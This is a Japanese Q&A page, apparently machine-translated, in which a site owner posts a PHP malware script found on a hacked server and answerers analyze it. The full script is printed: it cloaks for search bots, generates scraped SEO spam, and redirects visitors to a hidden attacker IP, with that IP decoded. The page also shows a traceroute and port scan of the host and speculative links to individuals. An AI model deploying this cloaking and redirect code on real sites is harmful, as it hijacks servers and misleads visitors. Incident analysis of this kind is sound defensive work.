web-dev-qa-db-ja.com

PHPサーバー上のマルウェア-悪意のあるコードを特定できない

私はこのコミュニティーを初めて利用するので、私の質問がばかげている場合はご容赦ください。

サーバーがハッキングされていることを発見し、いくつかのPHPファイルがその上にあることを発見しました。

私は怠惰ではなく、ファイルが実際に何をしているかを検出するために最善を尽くしましたが、その目的が何であるか本当に理解していません。

1つPHPファイルは:

<?php



$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',

                               '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',

                               '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',

                               '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',

                               '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',

                               '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',

                               '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-Perl#i',

                               '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',

                               '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',

                               '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',

                               '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',

                               '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',

                               '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',

                               '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',

                               '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',

                               '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',

                               '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*Slurp#i',

                               '#charlotte#i', '#ngb#i', '#BingBot#i' ) ;



if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){

    $isbot = 1;

    }



if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) 

{

    $isbot = 1;

}



$adr1 = ".....................................";

$adr2 = ".";

$adr3 = "...................................................................................................................................................................................................................";

$adr4 = "..............................................................................................................................................................................................................";

$ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);



if ($isbot)

{



    $myname  = basename($_SERVER['SCRIPT_NAME'], ".php");   

    if (file_exists($myname))

    {

    $html = file($myname);

    $html = implode($html, "");

    echo $html;

    exit;

    }



    //if (!strpos($_SERVER['HTTP_USER_AGENT'], "google")) exit;



    while($tpl == 0)

    {

$tpl_n = Rand(1,9);

$tpl = @file("tpl$tpl_n.html");

    }



$keyword = "1 euro terno su tutte vincita
";

$keyword = chop($keyword);

$relink = "<UL></UL>";







 $query_pars = $keyword;

 $query_pars_2 = str_replace(" ", "+", chop($query_pars));



for ($page=1;$page<3;$page++)

{

 $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://www.ask.com/web?q=$query_pars_2&qsrc=11&adt=1&o=0&l=dir&page=$page"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



        preg_match_all ("#web-result-description\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



}       





         $mas1 = array("1", "2", "3", "4", "5");

    $mas2 = array("11-20", "21-30", "31-40", "41-50", "51-60");

    $setmktBing = "US";

    $lang = "US";





$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    //  echo $result;

    //  exit;



    sleep(1);



foreach ($mas1 as $var=>$key)

{       

        $link = "";

        preg_match_all ("#<strong>$key</strong><a href=\"(.*)\" title=\"Results $mas2[$var]\"#iU",$result,$mm);

        $link = str_replace('<strong>'.$key.'</strong><a href="', "", $mm[0][0]);

        $link = str_replace('" title="Results '.$mas2[$var].'"', "", $link);

        if (strlen($link)<5) continue;

$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "$link"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    sleep(1);

        }



        $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "https://www.google.com/search?q=$query_pars_2&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

//curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



//echo $result;



        preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



                $text = str_replace("...", "", $text);

        $text = strip_tags($text); 

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);



        $text = explode(".", $text);



        shuffle($text);

            $text = array_unique($text);

        $text = implode(". ", $text);



        $html = implode ("\n", $tpl);

        $html = str_replace("[BKEYWORD]", $keyword, $html);

        $html = str_replace("[LINKS]", $relink, $html);

        $html = str_replace("[SNIPPETS]", $text, $html);



        $out = fopen($myname, "w");

        fwrite($out, $html);

        fclose($out);



        echo $html;



}   



if(!@$isbot)

{





$s = dirname($_SERVER['PHP_SELF']);

if ($s == '\\' | $s == '/') {$s = ('');}  

$s = $_SERVER['SERVER_NAME'] . $s;



header("Location: http://$ard/input/?mark=20160624-$s");

//header("Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

exit;

}



?>

私の理解では、コードは次のことを行います。

1)ボットによって実行されるかどうかを確認します-実行される場合は終了します

2)隠しIPを復号化する

3)非常に役に立たない方法で検索用語を作成しますか?

4)yahoo、google、ask.comに3つのcurl検索リクエストを送信します

5)これらの検索リクエストからデータを取得し、特定の情報のみを取得する

6)それらの情報をファイルに書き込みますか?

私の理解では、それはプログラムが何をしているのかということですが、害は何ですか?なぜ誰かがこれをこっそりするウェブサイトを見つけるために手間をかけますか?または、このスクリプトで重要な何かが欠けていますか?

ご助力いただきありがとうございます!

19
Tom

(私はコードを調べていません。あなたの説明が過去に見たいくつかのマルウェアの方法に当てはまるため、推測しています。)

それはおそらく、既知のWebアセットのグループへのバックリンクのネットワークを構築しようとしているボットです。

基本的に彼らは脆弱なサイトを見つけてそれをポップします。そこから、スクリプトは検索を実行して、攻撃者のどの資産が現在最高(または最低)にランク付けされており、Google/et al。によってペナルティが課されていないかを見つけます。まだ。

上位のキーワードとそれらのサイトへのリンクを、ドメインから提供されるHTMLドキュメントに埋め込むことで、資産をさらに宣伝します。これで、Googleがサイトをインデックスに登録すると、サイトを推奨していることがわかり、検索結果でさらに上位にランク付けされます。

それはかなり賢いです。

ただし、Googleがスパムファームにペナルティを課すと、それらにリンクしているサイトにもペナルティが課されるため、有毒です。判断の日が来ると、SEOはおそらく打撃を受けるでしょう。これをできるだけ早く修正します。

30
Ivan

まあ、病気はあなたにいくつかの詳細を与えます:

これは、システムをより深く破壊しようとしているマルウェアではなく、誰か(イタリア人だと思います)がサーバーを使用して(有料で)2つの方法でお金を稼ぐスクリプトです。

  • リクエストを実行しているボット(検索ボット)である場合、キーワードを宣伝するいくつかのリクエストを実行します: "1ユーロterno su tutte vincita"と印刷します結果から取られた単語のシャッフル。つまり、サーバーIPからいくつかの宝くじサイトを宣伝しています。

これはベースURLです。

_# https://www.google.com/search?q=1 euro terno su tutte vincita&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X
# http://search.yahoo.com/search?p=1 euro terno su tutte vincita
# http://www.ask.com/web?q=1 euro terno su tutte vincita&qsrc=11&adt=1&o=0&l=dir&page=$page
_
  • がボットではない場合、が優れたユーザーエージェントである場合、スクリプトはユーザーのブラウザーをリダイレクトして別の侵害されたサーバーにリダイレクトしますが、今回はpornにリダイレクトします広告ネットワーク

スクリプト内の隠しIP(ドット内):

  • IP:37.1.211.206
  • 国:米国(USA)


_$adr1 = ".....................................";
$adr2 = ".";
$adr3 = "...................................................................................................................................................................................................................";
$adr4 = "..............................................................................................................................................................................................................";
// get it from the lenght of the strings, not the best way to hidde something ^^
$ard = strlen($adr1) . "." . strlen($adr2) . "." . strlen($adr3) . "." . strlen($adr4);
// echo $ard;
_

そしてもう1つの部分は、文字列を結合してこのリクエストを実行することです:http://37.1.211.206/input/?mark=20160624-(SERVER_NAME)

_if (!@$isbot) {
    $s = dirname($_SERVER['PHP_SELF']);
    if ($s == '\\' | $s == '/') {
        $s = ('');
    }
    $s = $_SERVER['SERVER_NAME'] . $s;
    header("Location: http://$ard/input/?mark=20160624-$s");
    exit;
}
_

最後に_37.1.211.206_のサーバーはサーバーIDを保存し、ランダムなポルノ広告サーバーにリダイレクトします。

14
jmingov

IPアドレスを使用して、このスクリプトキディに正義を提供します。

ここからのIPへのtraceroute(ローカルホップは削除されます):

  3    17 ms    17 ms    17 ms  be4066.ccr22.yyz02.atlas.cogentco.com [38.122.69.117]
  4    23 ms    24 ms    23 ms  be2994.ccr22.cle04.atlas.cogentco.com [154.54.31.233]
  5    31 ms    30 ms    31 ms  be2718.ccr42.ord01.atlas.cogentco.com [154.54.7.129]
  6    32 ms    31 ms    31 ms  be2248.ccr22.ord03.atlas.cogentco.com [154.54.5.158]
  7    32 ms    32 ms    32 ms  be2617.rcr12.b002281-5.ord03.atlas.cogentco.com [154.54.40.94]
  8    31 ms    37 ms    31 ms  38.122.181.114
  9    31 ms    33 ms    31 ms  37.1.209.2
 10    32 ms    32 ms    31 ms  37.1.211.206

最後の3つのホストでのDNSの逆引きでは、サブネット全体をチェックする場合を除いて、これ以上直接何も明らかにされません。

38.122.181.113  te0-0-0-2.rcr12.b002281-5.ord03.atlas.cogentco.com

サブネットは、Cogent Communications ISPのカスタマーエンドポイントのようです。攻撃者のサーバーをすばやくポートスキャンすると、開いているのは22/sshと80/httpだけです。これは、Linuxボックスまたはルーターを強く示唆しています。サーバー上のWebページは、Apacheの新規インストールページのようです。コード内のスクリプトに移動すると、最初にドメインhstraffa.comにリダイレクトされ、次にサードパーティのポルノサイトにリダイレクトされます。 hstraffa.comのソーシャルプレゼンスを簡単に確認すると、Google +のいいね!が2つだけ明らかになります。これは1つです(警告:最小限ですが現在のグラフィックコンテンツ) https://plus.google.com/105307781761317547299 ともう1つ: https://plus.google.com/115324666314038607739 =。彼らはインドの名前のように見え、人間はその背後にいるように見えます。ポルノ広告を収益化しようとする、あまり熟練していない脚本の子供。

私は、あなた自身の調査結果(インシデントに関連するphpスクリプトとサーバーログ)でこれをすべて取り、Cogent Communicationsのセキュリティ担当者に連絡します。

ただし、自分の側をクリーンアップする必要があります。サーバーがどのように侵入したのかわからない場合は、サーバーの新規インストールをお勧めします。次の侵入は無害かもしれません...

6